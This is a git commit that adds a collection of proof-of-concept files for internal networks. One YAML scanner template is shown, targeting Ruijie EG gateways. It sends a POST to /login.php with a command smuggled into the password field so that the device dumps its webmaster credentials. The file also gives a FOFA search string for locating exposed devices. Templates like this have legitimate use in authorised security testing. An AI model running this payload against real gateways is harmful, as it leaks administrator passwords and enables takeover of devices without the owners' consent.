feat: add curated internal network pocs

2026-09-26 21:21:53 +08:00 · 2026-07-16 01:45:09 +08:00
parent 61ae87d171
commit 621b2c2f24
52 changed files with 1230 additions and 0 deletions
@@ -0,0 +1,21 @@
+id: ruijie-eg-password-leak
+
+info:
+  name: Ruijie EG Information Disaclosure
+  author: Search?=Null
+  severity: high
+  verified: true
+  description: |-
+    fofa: app="Ruijie-EG易网关"
+  tags: ruijie,disclosure
+  created: 2023/10/29
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /login.php
+      body: |
+        username=admin&password=admin?show+webmaster+user
+    expression: response.status == 200 && response.body.bcontains(b'"data":') && response.body.bcontains(b'admin') && response.body.bcontains(b'"status":')
+expression: r0()